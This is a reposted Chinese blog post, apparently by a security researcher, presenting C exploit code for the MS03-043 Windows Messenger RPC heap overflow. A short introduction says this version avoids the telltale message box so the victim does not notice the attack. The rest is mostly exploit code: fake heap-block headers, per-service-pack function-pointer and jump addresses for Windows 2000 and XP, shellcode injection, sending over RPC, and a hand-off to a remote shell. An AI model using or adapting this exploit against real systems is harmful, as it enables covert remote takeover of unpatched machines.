转自:http://hi.baidu.com/yuange1975/item/75a1bf559e29470ae6c4a5bb
DCOM前的通杀漏洞利用 ms03-043利用代码
因为可以走udp135和UDP1024以上一个动态端口,当时很多搞APT的开天网防火墙加黑冰白名单的机器也轻松能搞定。是我常说的里面那个MSG漏洞。意识到RPC的重要性后,一系列RPC成果。国内研究RPC热基本上是DCOM出来后。可惜了一些列RPC库的漏洞!
回来找出代码真是多次伪造头,我记得我有PEB指针版本的没找着,这个会弹出消息框。找到的是解决弹出消息框的版本,不会让人知道有攻击,但需要SP确认,覆盖函数指针,和4字节小shellcod跳转,这个刚好覆盖一个变量,控制不让弹消息框。还有一些长度的处理问题,估计是@猪儿虫小次郎 说的要解决的长度问题。
void sendoverpack()
{
int i,j;
for(i=0;i<3;++i)
{
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)sendoverstr,0,0,&j);
Sleep(6000);
}
// sendoverpack();
if(overok==3)
{
while(1) Sleep(0x7fffffff);
}
}
void sendoverstr()
{
/*
* 调用远程过程
*/
int i,j;
RPC_STATUS status;
char buff[0x100];
// char buffer[BUFFSIZE];
char *buffer=LocalAlloc(LMEM_ZEROINIT,BUFFSIZE+2);
char *buffer2=LocalAlloc(LMEM_ZEROINIT,BUFFSIZE+2);
int funadd=RVAWIN2K+0x8310;
int jmpshelladd=RVAWIN2K+0x8298;
memset(buffer,NOPCODE,SENDBUFFLEN);
if(sys_ver_num>4||sys_ver_num<0) sys_ver_num=4;
sys_ver_num=10;
if(strcmp(version,”sp0″)==0) sys_ver_num=0;
if(strcmp(version,”sp1″)==0) sys_ver_num=1;
if(strcmp(version,”sp2″)==0) sys_ver_num=2;
if(strcmp(version,”sp3″)==0) sys_ver_num=3;
if(strcmp(version,”winxp”)==0) sys_ver_num=10;
if(sys_ver_num==10)
{
funadd=RVAWINXP+0x8238;
jmpshelladd=RVAWINXP+0x8560;
}
if(sys_ver_num==3)
{
//win2k+sp3
funadd=RVAWIN2K+0x8078;
jmpshelladd=RVAWIN2K+0x811c;
}
if(sys_ver_num==2)
{ // win2k+sp2
funadd=RVAWIN2K+0x8330;
jmpshelladd=RVAWIN2K+0x82b8;
}
if(sys_ver_num==1)
{ // win2k+sp1
funadd=RVAWIN2K+0x8330;
jmpshelladd=RVAWIN2K+0x82b8;
}
if(sys_ver_num==0)
{ // win2k+sp0
funadd=RVAWIN2K+0x8310;
jmpshelladd=RVAWIN2K+0x8298;
}
if(sys_ver_num<=4)
{
i=0x0234*8;
memcpy(buffer+ADDRESS,”\x02\x01\x34\x02\x01\x01\x02″,7); // 非空闲内存块
// memcpy(buffer+ADDRESS+0x8,”\x80\xf2\xfd\x7f”,4); // fun-4
// memcpy(buffer+ADDRESS+0x0c,”\xa8\x81\xec\x74″,4); // shelladd
memcpy(buffer+ADDRESS-i,”\x30\x01\x02\x01\x01\x20\x02\x02″,8); // 空闲内存块
*(int *)(buffer+ADDRESS-i+0x8)=funadd-4;
*(int *)(buffer+ADDRESS-i+0x0c)=jmpshelladd; // shelladd
// memcpy(buffer+ADDRESS-i+0x8,”\xa8\x81\xec\x74″,4); // fun-4
// memcpy(buffer+ADDRESS-i+0x0c,”\xd9\x8b\xec\x74″,4); // shelladd
j=(0x130+0x102-0x234)*8;
memcpy(buffer+ADDRESS+j,”\x02\x01\x02\x02\x01\x20\x02\x02″,8); // 空闲内存块
*(int *)(buffer+ADDRESS+j+0x8)=0x0856ff61;
*(int *)(buffer+ADDRESS+j+0x0c)=jmpshelladd; // shelladd
// memcpy(buffer+ADDRESS+j+0x08,”\x90\x90\x68\xff”,4);
// memcpy(buffer+ADDRESS+j+0x0c,”\xd9\x8b\xec\x74″,4);
i=i-0x10+j;
i=i/2;
memset(buffer+ADDRESS+j-2*i,0x14,i);
strcpy(buffer+ADDRESS+j-i,buffer+ADDRESS+j);
/*
i=strlen(buffer+ADDRESS+0x20)/2;
memset(buffer+ADDRESS+0x20,0x14,i);
memset(buffer+ADDRESS+0x20+strlen(buffer+ADDRESS+0x20)-i,0,0×10);
j=ADDRESS-j-0x100;
i=j/2;
memset(buffer+ADDRESS-2*i,0x14,i);
strcpy(buffer+ADDRESS-i,buffer+ADDRESS);
*/
/*
服务器会把0x14替换成0x0d0x0a,为了减少溢出串的长度,把空闲空间替换成0x14
*/
}
memset(buffer2,NOPCODE,BUFFSIZE);
i=GetShellcode(buffer2+0x10);
j=0x0eeb;
for(j=0x0eeb;j<i;j+=0x100)
{
}
memset(buffer2+i,NOPCODE,BUFFSIZE-i);
memset(buffer2+j-1,0,0×10);
i=strlen(buffer2);
// memset(buffer+0x300-1,0,0×10);
//len=0x0ceb 0xeb 0x0c jmp to shellcode
// eb 0c 00 00 00 00 00 00 eb 0c 00 00 t 00 90 90
if(overok==0)
{
outprintf(“\r\nsend hook test packet!\r\n”);
j=HelloProc(buffer2,”testest”,”0″);//buffer);
overok=1;
outprintf(“\r\npacket send ok! return 0x%x\r\n”,j);
if(j!=OKNUM) j=HelloProc(“t”,”testest”,buffer); //SEND OVER PACKET
if(j==OKNUM)
{
overok=3;
shellcmd();
}
else
{
overok=0;
j=HelloProc(buffer2,”testest”,”1″); // SEND HOOK PACKET
}
}
ExitThread(0);
/*
测试发现RPC利用UDP通信时,如果数据包过长,第一次可以成功,第二次RPC调用就失败了.
不过重新启动程序又可以成功发送一次.看来RPC通信的客户端处理UDP通信有问题.
*/
}
评论关闭。